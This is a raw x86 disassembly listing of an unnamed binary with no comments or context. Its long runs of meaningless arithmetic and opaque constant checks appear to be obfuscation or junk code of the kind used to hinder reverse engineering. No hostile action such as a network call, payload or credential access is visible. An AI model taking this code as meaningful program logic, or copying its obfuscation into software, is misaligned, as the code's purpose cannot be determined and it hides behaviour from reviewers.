and eax, dword [ebp - 0x4fb4]
mov dword [0x5a9b64], eax
cmp dword [ebp - 0x4f80], 0x7d2a
jbe 0x4227eb
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x140]
imul edx, eax
movsx ecx, byte [ebp - 0x17c]
movsx eax, byte [ebp - 0x17a]
add ecx, eax
cmp edx, ecx
jle 0x581041
lea ecx, [ebp - 0x4f7c]
mov dword [ebp - 0x4fd4], ecx
mov edx, dword [0x5a9b60]
mov al, byte [edx]
mov byte [ebp - 0x17e], al
mov dword [ebp - 0x4fd8], 0xddc0
movsx ecx, word [ebp - 0x1208]
add ecx, 0x723b
mov word [ebp - 0x12f8], cx
mov edx, dword [ebp - 0x4f74]
sub edx, 0x44
mov dword [ebp - 0x4f74], edx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4f60]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fb0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fb4]
sub eax, dword [0x5a9b64]
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4f7c]
mov dword [0x5a9b64], edx
mov eax, dword [ebp - 0x4fb4]
or eax, dword [0x5a9b64]
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x4fb4]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b]
sar ecx, 2
mov byte [ebp - 0x17d], cl
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4f60]
shl eax, cl
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4f7c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x4f60], eax
movzx ecx, byte [ebp - 0x17b]
sub ecx, 0x5b
mov byte [ebp - 0x17d], cl
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x140]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x5a8004], dl
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4f7c]
add ecx, dword [eax]
mov dword [ebp - 0x4fb4], ecx
movzx edx, byte [ebp - 0x17b]
add edx, 0x22
mov byte [ebp - 0x17d], dl
cmp dword [ebp - 0x4f74], 0xd5bf
jae 0x422bae
mov eax, dword [ebp - 0x4f88]
add eax, 0xe7
mov dword [ebp - 0x4f88], eax
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1304]
add ecx, edx
mov word [ebp - 0x1300], cx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fb4]
or ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fb4]
mov ecx, dword [0x5a9b64]
shl eax, cl
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x5a9b64], eax
movzx ecx, word [ebp - 0x1304]
movzx edx, word [ebp - 0x1300]
and ecx, edx
mov word [ebp - 0x12fc], cx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4f7c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4f7c]
and eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17c]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1304]
shl eax, cl
mov word [ebp - 0x1300], ax
cmp dword [ebp - 0x4f88], 0x114d2
jne 0x422d7e
lea ecx, [ebp - 0x17d]
mov dword [ebp - 0x4fdc], ecx
movsx edx, word [ebp - 0x1208]
xor edx, 0x20b9
movsx eax, word [ebp - 0x12f8]
cmp edx, eax
jne 0x422fb0
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x4f60]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [0x5a9b60]
mov dl, byte [ecx]
mov byte [ebp - 0x4fe0], dl
cmp byte [ebp - 0x4fe0], 0x46
je 0x422f54
jmp 0x422f98
mov eax, dword [ebp - 0x4fb4]
add eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17d]
add eax, ecx
mov byte [ebp - 0x17b], al
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
jmp 0x422fae
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
jmp 0x422fe6
movsx edx, word [ebp - 0x1208]
sub edx, 0x5bc2
movsx eax, word [ebp - 0x12f8]
cmp edx, eax
jge 0x422fe6
mov ecx, dword [ebp - 0x4f60]
push ecx
movzx edx, word [ebp - 0x12f4]
push edx
mov eax, dword [ebp - 0x4fb4]
push eax
call fcn.00581290
add esp, 0xc
lea ecx, [ebp - 0x4fb4]
mov dword [ebp - 0x4fe4], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4fb4]
cmp edx, ecx
je 0x42304f
mov edx, dword [ebp - 0x4fb4]
add edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fb4]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
jmp 0x580f21
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov dword [ebp - 0x4fec], edx
cmp dword [ebp - 0x4fec], 0
je 0x423077
cmp dword [ebp - 0x4fec], 0x58e379d8
je 0x4230ba
jmp 0x423146
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4fb4]
shl eax, cl
mov dword [ebp - 0x4f7c], eax
mov cl, byte [ebp - 0x17d]
mov byte [ebp - 0x17f], cl
mov dx, word [ebp - 0x1304]
mov word [ebp - 0x1308], dx
jmp 0x423146
movsx eax, word [ebp - 0x1208]
mov dword [ebp - 0x4ff4], eax
cmp dword [ebp - 0x4ff4], 0x5324
je 0x4230d5
jmp 0x423116
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4f7c]
and edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4fe8], edx
jmp 0x423146
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
push ecx
movzx edx, byte [ebp - 0x17d]
push edx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x4fdc]
mov dl, byte [edx]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
call fcn.00581810
nop
mov dword [ebp - 0x4ff8], 0xdb67
mov ecx, dword [ebp - 0x4fdc]
mov dl, byte [ecx]
mov byte [ebp - 0x4ffc], dl
cmp byte [ebp - 0x4ffc], 0xe1
je 0x42316c
jmp 0x423225
movsx eax, word [ebp - 0x1208]
sub eax, 0x64e2
movsx ecx, word [ebp - 0x12f8]
cmp eax, ecx
jge 0x4231b1
mov edx, dword [ebp - 0x4fe8]
add edx, dword [ebp - 0x4f7c]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b]
add edx, eax
mov byte [ebp - 0x17f], dl
jmp 0x423220
movzx ecx, byte [ebp - 0x17d]
movzx edx, byte [ebp - 0x17f]
add ecx, edx
movzx eax, byte [ebp - 0x17b]
mov edx, dword [ebp - 0x4fdc]
movzx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jge 0x423220
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
movsx ecx, word [ebp - 0x1208]
and ecx, 0x4f69
mov word [ebp - 0x12f8], cx
mov edx, dword [ebp - 0x4f60]
push edx
mov eax, dword [ebp - 0x4fdc]
mov dl, byte [eax]
mov ecx, dword [ebp - 0x4fdc]
mov cl, byte [ecx]
call fcn.00581890
nop
jmp 0x4232a6
movzx edx, word [ebp - 0x12fc]
mov dword [ebp - 0x5000], edx
cmp dword [ebp - 0x5000], 0x544
je 0x423240
jmp 0x423286
movsx eax, byte [ebp - 0x17e]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x17c], al
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe8]
mov ecx, dword [eax]
sar edx, cl
mov dword [0x5a9b64], edx
jmp 0x4232a6
mov eax, dword [ebp - 0x4ff0]
push eax
movzx ecx, word [ebp - 0x1300]
push ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
push eax
call fcn.00581290
add esp, 0xc
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f7c]
shl edx, cl
cmp eax, edx
jle 0x423334
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [0x5a9b64], edx
mov eax, dword [ebp - 0x4fdc]
mov cl, byte [eax]
mov byte [ebp - 0x5004], cl
cmp byte [ebp - 0x5004], 0x66
je 0x4232fb
jmp 0x423329
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4fb4]
shl eax, cl
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
call fcn.005816b0
nop
jmp 0x580e0d
mov edx, dword [ebp - 0x4fdc]
mov al, byte [edx]
mov byte [ebp - 0x5008], al
cmp byte [ebp - 0x5008], 0xbf
je 0x423350
jmp 0x4233df
mov ecx, dword [ebp - 0x4ff0]
mov dword [ebp - 0x500c], ecx
cmp dword [ebp - 0x500c], 0xfc718c53
je 0x42336a
jmp 0x423386
movzx edx, word [ebp - 0x12f4]
push edx
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
push ecx
call fcn.00581f00
add esp, 8
jmp 0x4233ae
mov edx, dword [ebp - 0x4fb4]
xor edx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fb4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x140]
add ecx, edx
mov byte [ebp - 0x17e], cl
movzx eax, word [ebp - 0x12f4]
push eax
movzx ecx, byte [ebp - 0x17f]
push ecx
call fcn.00581f00
add esp, 8
jmp 0x423425
lea edx, [ebp - 0x1208]
mov dword [ebp - 0x5010], edx
movzx eax, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x12fc]
and eax, ecx
mov word [ebp - 0x1300], ax
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17d]
imul eax, ecx
mov byte [ebp - 0x17b], al
mov dword [ebp - 0x5014], 0x12fee
mov dword [ebp - 0x5018], 0xd883
lea edx, [ebp - 0x4ff0]
mov dword [ebp - 0x501c], edx
mov dword [ebp - 0x5020], 0x649
cmp dword [ebp - 0x4f90], 0x66d5
jbe 0x423575
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4f7c]
sub ecx, dword [eax]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4f90]
sub edx, 0xfe
mov dword [ebp - 0x4f90], edx
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17b]
sub ecx, edx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x17f]
movzx edx, byte [ebp - 0x17d]
add ecx, edx
mov byte [ebp - 0x17b], cl
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4ff0]
add ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fb4]
sub eax, dword [edx]
mov dword [ebp - 0x4f7c], eax
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [ebp - 0x4f7c]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4f60]
sub ecx, dword [eax]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [0x5a9b64], ecx
movzx edx, word [ebp - 0x12fc]
movzx eax, word [ebp - 0x1304]
xor edx, eax
mov word [ebp - 0x1300], dx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4f7c]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17c]
sar eax, cl
mov byte [ebp - 0x140], al
jmp 0x423445
movsx eax, word [ebp - 0x1208]
mov ecx, dword [ebp - 0x5010]
movsx ecx, word [ecx]
cdq
idiv ecx
mov word [ebp - 0x120c], ax
lea edx, [ebp - 0x17f]
mov dword [ebp - 0x5024], edx
cmp dword [ebp - 0x4f6c], 0x8df3
jb 0x423723
mov eax, dword [ebp - 0x4f60]
and eax, dword [ebp - 0x4ff0]
mov ecx, dword [ebp - 0x4fcc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4ff0]
mov ecx, dword [ebp - 0x4fcc]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x140]
movsx eax, byte [ebp - 0x17c]
add edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
and eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fb4]
add edx, dword [ebp - 0x4f7c]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ecx]
sub edx, dword [0x5a9b64]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1300]
movzx edx, word [ebp - 0x1304]
add ecx, edx
mov word [ebp - 0x1308], cx
mov eax, dword [ebp - 0x4f6c]
sub eax, 0xd9
mov dword [ebp - 0x4f6c], eax
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17d]
sub edx, eax
mov byte [ebp - 0x17f], dl
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x4ff0]
sub edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4fb4]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4ff0]
shr edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17c]
xor ecx, edx
mov byte [0x5a8004], cl
movzx eax, word [ebp - 0x12f4]
movzx ecx, word [ebp - 0x1300]
and eax, ecx
mov word [ebp - 0x1308], ax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17e]
add eax, ecx
mov byte [ebp - 0x140], al
movsx edx, word [ebp - 0x12f8]
movsx eax, word [ebp - 0x120c]
sub edx, eax
mov word [ebp - 0x1208], dx
jmp 0x42359b
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4f60]
sub edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4fb4]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x5024]
mov byte [edx], cl
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x5018]
sub edx, 0xe0
mov dword [ebp - 0x5018], edx
movsx eax, byte [ebp - 0x17c]
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x5a8004], al
mov eax, dword [ebp - 0x4f7c]
add eax, dword [0x5a9b64]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4fe8]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17f]
xor eax, ecx
mov byte [ebp - 0x17d], al
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x120c]
shl eax, cl
mov ecx, dword [ebp - 0x5010]
mov word [ecx], ax
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4f60]
or eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fe8]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe8]
sub ecx, dword [ebp - 0x4f7c]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [0x5a9b64], ecx
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12f8]
add eax, ecx
mov word [ebp - 0x1208], ax
movsx edx, byte [0x5a8004]
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17c], dl
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x501c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
movzx edx, byte [ebp - 0x17d]
movzx ecx, byte [ebp - 0x17b]
sar edx, cl
mov byte [ebp - 0x17f], dl
movsx eax, word [ebp - 0x1208]
movsx ecx, word [ebp - 0x12f8]
shl eax, cl
mov ecx, dword [ebp - 0x5010]
mov word [ecx], ax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17e]
xor eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4f60]
or ecx, dword [eax]
mov dword [ebp - 0x4ff0], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fb4]
add eax, dword [ebp - 0x4fe8]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1300]
movzx eax, word [ebp - 0x1304]
add edx, eax
mov word [ebp - 0x12fc], dx
cmp dword [ebp - 0x5018], 0xcd23
ja 0x423723
movsx ecx, word [ebp - 0x12f8]
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
sub ecx, eax
movsx edx, word [ebp - 0x1208]
movsx eax, word [ebp - 0x120c]
sub edx, eax
cmp ecx, edx
jne 0x423a2f
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17d], dl
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fe8]
and ecx, dword [eax]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x4f7c]
cmp eax, edx
jge 0x423abc
mov al, byte [ebp - 0x17e]
mov byte [ebp - 0x5028], al
cmp byte [ebp - 0x5028], 0x16
je 0x423aa3
cmp byte [ebp - 0x5028], 0x38
je 0x423a6f
jmp 0x423ab7
mov ecx, dword [ebp - 0x4f7c]
add ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4ff0]
push edx
movzx eax, word [ebp - 0x1300]
push eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
push edx
call fcn.00581290
add esp, 0xc
jmp 0x423ab7
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [ebp - 0x4fb4]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
jmp 0x580d91
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4f60]
sub eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4fb4]
add ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4f7c], ecx
movzx edx, byte [ebp - 0x17b]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], dl
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
and edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4fe8]
shl eax, cl
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fe8]
mov ecx, dword [ebp - 0x4fb4]
sar edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb4]
or ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], ecx
movzx edx, word [ebp - 0x1304]
movzx eax, word [ebp - 0x12fc]
add edx, eax
mov word [ebp - 0x1300], dx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17d]
add edx, eax
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12f8]
and eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x120c]
add ecx, edx
mov word [ebp - 0x1208], cx
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x17c]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17d], dl
mov edx, dword [ebp - 0x5010]
